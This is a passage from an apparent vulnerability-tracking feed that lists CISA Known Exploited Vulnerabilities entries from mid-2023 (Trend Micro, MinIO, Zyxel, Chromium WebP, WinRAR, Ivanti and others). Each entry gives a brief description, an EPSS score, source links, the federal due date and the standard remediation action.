Trend Micro Apex One and Worry-Free Business Security contain an unspecified vulnerability in the third-party anti-virus uninstaller that could allow an attacker to manipulate the module to conduct remote code execution. An attacker must first obtain administrative console access on the target system in order to exploit this vulnerability.
EPSS 4.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41179&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41179: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41179&date=2026-10-25
CISA added this entry on 2023-09-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 21, 2023; federal due date Oct 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MinIO Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2023-28434
MinIO Security Feature Bypass Vulnerability (Sep 19, 2023).
MinIO contains a security feature bypass vulnerability that allows an attacker to use crafted requests to bypass metadata bucket name checking and put an object into any bucket while processing `PostPolicyBucket` to conduct privilege escalation. To carry out this attack, the attacker requires credentials with `arn:aws:s3:::*` permission, as well as enabled Console API access.
EPSS 7.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28434&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-28434: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28434&date=2026-10-25
CISA added this entry on 2023-09-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 19, 2023; federal due date Oct 10, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2022-22265
Samsung Mobile Devices Use-After-Free Vulnerability (Sep 18, 2023).
Samsung devices with selected Exynos chipsets contain a use-after-free vulnerability that allows malicious memory write and code execution.
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22265&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22265: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22265&date=2026-10-25
CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2023; federal due date Oct 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Realtek SDK Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2014-8361
Realtek SDK Improper Input Validation Vulnerability (Sep 18, 2023).
Realtek SDK contains an improper input validation vulnerability in the miniigd SOAP service that allows remote attackers to execute malicious code via a crafted NewInternalClient request.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-8361&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-8361: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-8361&date=2026-10-25
CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2023; federal due date Oct 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel EMG2926 Routers Command Injection Vulnerability
https://kevwire.com/record/CVE-2017-6884
Zyxel EMG2926 Routers Command Injection Vulnerability (Sep 18, 2023).
Zyxel EMG2926 routers contain a command injection vulnerability located in the diagnostic tools, specifically the nslookup function. A malicious user may exploit numerous vectors to execute malicious commands on the router, such as the ping_ip parameter to the expert/maintenance/diagnostic/nslookup URI.
EPSS 33.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6884&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6884: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6884&date=2026-10-25
CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2023; federal due date Oct 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Laravel Ignition File Upload Vulnerability
https://kevwire.com/record/CVE-2021-3129
Laravel Ignition File Upload Vulnerability (Sep 18, 2023).
Laravel Ignition contains a file upload vulnerability that allows unauthenticated remote attackers to execute malicious code due to insecure usage of file_get_contents() and file_put_contents().
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3129&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-3129: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3129&date=2026-10-25
CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2023; federal due date Oct 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2023-26369
Adobe Acrobat and Reader Out-of-Bounds Write Vulnerability (Sep 14, 2023).
Adobe Acrobat and Reader contains an out-of-bounds write vulnerability that allows for code execution.
EPSS 6.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-26369&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-26369: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-26369&date=2026-10-25
CISA added this entry on 2023-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 14, 2023; federal due date Oct 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Framework Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-35674
Android Framework Privilege Escalation Vulnerability (Sep 13, 2023).
Android Framework contains an unspecified vulnerability that allows for privilege escalation.
EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35674&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-35674: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35674&date=2026-10-25
CISA added this entry on 2023-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 13, 2023; federal due date Oct 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Adaptive Security Appliance and Firepower Threat Defense Unauthorized Access Vulnerability
https://kevwire.com/record/CVE-2023-20269
Cisco Adaptive Security Appliance and Firepower Threat Defense Unauthorized Access Vulnerability (Sep 13, 2023).
Cisco Adaptive Security Appliance and Firepower Threat Defense contain an unauthorized access vulnerability that could allow an unauthenticated, remote attacker to conduct a brute force attack in an attempt to identify valid username and password combinations or establish a clientless SSL VPN session with an unauthorized user.
EPSS 26.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20269&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-20269: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20269&date=2026-10-25
CISA added this entry on 2023-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions for group-lock and vpn-simultaneous-logins or discontinue use of the product for unsupported devices.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 13, 2023; federal due date Oct 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium WebP Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-4863
Google Chromium WebP Heap-Based Buffer Overflow Vulnerability (Sep 13, 2023).
Google Chromium WebP contains a heap-based buffer overflow vulnerability that allows a remote attacker to perform an out-of-bounds memory write via a crafted HTML page. This vulnerability can affect applications that use the WebP Codec.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4863&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-4863: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4863&date=2026-10-25
CISA added this entry on 2023-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 13, 2023; federal due date Oct 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Word Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2023-36761
Microsoft Word Information Disclosure Vulnerability (Sep 12, 2023).
Microsoft Word contains an unspecified vulnerability that allows for information disclosure.
EPSS 19.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36761&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36761: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36761&date=2026-10-25
CISA added this entry on 2023-09-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 12, 2023; federal due date Oct 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Streaming Service Proxy Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-36802
Microsoft Streaming Service Proxy Privilege Escalation Vulnerability (Sep 12, 2023).
Microsoft Streaming Service Proxy contains an unspecified vulnerability that allows for privilege escalation.
EPSS 27.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36802&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36802: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36802&date=2026-10-25
CISA added this entry on 2023-09-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 12, 2023; federal due date Oct 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS ImageIO Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-41064
Apple iOS, iPadOS, and macOS ImageIO Buffer Overflow Vulnerability (Sep 11, 2023).
Apple iOS, iPadOS, and macOS contain a buffer overflow vulnerability in ImageIO when processing a maliciously crafted image, which may lead to code execution. This vulnerability was chained with CVE-2023-41061.
EPSS 53.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41064&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41064: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41064&date=2026-10-25
CISA added this entry on 2023-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 11, 2023; federal due date Oct 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and watchOS Wallet Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-41061
Apple iOS, iPadOS, and watchOS Wallet Code Execution Vulnerability (Sep 11, 2023).
Apple iOS, iPadOS, and watchOS contain an unspecified vulnerability due to a validation issue affecting Wallet in which a maliciously crafted attachment may result in code execution. This vulnerability was chained with CVE-2023-41064.
EPSS 4.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41061&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41061: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41061&date=2026-10-25
CISA added this entry on 2023-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 11, 2023; federal due date Oct 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache RocketMQ Command Execution Vulnerability
https://kevwire.com/record/CVE-2023-33246
Apache RocketMQ Command Execution Vulnerability (Sep 6, 2023).
Several components of Apache RocketMQ, including NameServer, Broker, and Controller, are exposed to the extranet and lack permission verification. An attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as or achieve the same effect by forging the RocketMQ protocol content.
EPSS 96.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33246&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-33246: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33246&date=2026-10-25
CISA added this entry on 2023-09-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 6, 2023; federal due date Sep 27, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### RARLAB WinRAR Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-38831
RARLAB WinRAR Code Execution Vulnerability (Aug 24, 2023).
RARLAB WinRAR contains an unspecified vulnerability that allows an attacker to execute code when a user attempts to view a benign file within a ZIP archive.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38831&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-38831: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38831&date=2026-10-25
CISA added this entry on 2023-08-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 24, 2023; federal due date Sep 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ignite Realtime Openfire Path Traversal Vulnerability
https://kevwire.com/record/CVE-2023-32315
Ignite Realtime Openfire Path Traversal Vulnerability (Aug 24, 2023).
Ignite Realtime Openfire contains a path traversal vulnerability that allows an unauthenticated attacker to access restricted pages in the Openfire Admin Console reserved for administrative users.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32315&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-32315: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32315&date=2026-10-25
CISA added this entry on 2023-08-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 24, 2023; federal due date Sep 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Sentry Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2023-38035
Ivanti Sentry Authentication Bypass Vulnerability (Aug 22, 2023).
Ivanti Sentry, formerly known as MobileIron Sentry, contains an authentication bypass vulnerability that may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38035&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-38035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38035&date=2026-10-25
CISA added this entry on 2023-08-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 22, 2023; federal due date Sep 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Veeam Backup & Replication Cloud Connect Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2023-27532
Veeam Backup & Replication Cloud Connect Missing Authentication for Critical Function Vulnerability (Aug 22, 2023).
Veeam Backup & Replication Cloud Connect component contains a missing authentication for critical function vulnerability that allows an unauthenticated user operating within the backup infrastructure network perimeter to obtain encrypted credentials stored in the configuration database. This may lead to an attacker gaining access to the backup infrastructure hosts.
EPSS 80.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27532&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-27532: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27532&date=2026-10-25
CISA added this entry on 2023-08-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 22, 2023; federal due date Sep 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2023-26359
Adobe ColdFusion Deserialization of Untrusted Data Vulnerability (Aug 21, 2023).
Adobe ColdFusion contains a deserialization of untrusted data vulnerability that could result in code execution in the context of the current user.
EPSS 17.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-26359&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-26359: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-26359&date=2026-10-25
CISA added this entry on 2023-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 21, 2023; federal due date Sep 11, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix Content Collaboration ShareFile Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2023-24489
Citrix Content Collaboration ShareFile Improper Access Control Vulnerability (Aug 16, 2023).
Citrix Content Collaboration contains an improper access control vulnerability that could allow an unauthenticated attacker to remotely compromise customer-managed ShareFile storage zones controllers.
EPSS 97.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-24489&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-24489: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-24489&date=2026-10-25
CISA added this entry on 2023-08-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 16, 2023; federal due date Sep 6, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft .NET Core and Visual Studio Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2023-38180
Microsoft .NET Core and Visual Studio Denial-of-Service Vulnerability (Aug 9, 2023).
Microsoft .NET Core and Visual Studio contain an unspecified vulnerability that allows for denial-of-service (DoS).
EPSS 14.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38180&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-38180: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38180&date=2026-10-25
CISA added this entry on 2023-08-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 9, 2023; federal due date Aug 30, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel P660HN-T1A Routers Command Injection Vulnerability
https://kevwire.com/record/CVE-2017-18368
Zyxel P660HN-T1A Routers Command Injection Vulnerability (Aug 7, 2023).
Zyxel P660HN-T1A routers contain a command injection vulnerability in the Remote System Log forwarding function, which is accessible by an unauthenticated user and exploited via the remote_host parameter of the ViewLog.asp page.
EPSS 94.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-18368&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-18368: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-18368&date=2026-10-25
CISA added this entry on 2023-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 7, 2023; federal due date Aug 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager Mobile (EPMM) Path Traversal Vulnerability
https://kevwire.com/record/CVE-2023-35081
Ivanti Endpoint Manager Mobile (EPMM) Path Traversal Vulnerability (Jul 31, 2023).
Ivanti Endpoint Manager Mobile (EPMM) contains a path traversal vulnerability that enables an authenticated administrator to perform malicious file writes to the EPMM server. This vulnerability can be used in conjunction with CVE-2023-35078 to bypass authentication and ACLs restrictions (if applicable).
EPSS 63.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35081&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-35081: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35081&date=2026-10-25
CISA added this entry on 2023-07-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 31, 2023; federal due date Aug 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2023-37580
Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (Jul 27, 2023).
Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability impacting the confidentiality and integrity of data.
EPSS 49.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-37580&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-37580: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-37580&date=2026-10-25
CISA added this entry on 2023-07-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 27, 2023; federal due date Aug 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Kernel Unspecified Vulnerability
https://kevwire.com/record/CVE-2023-38606
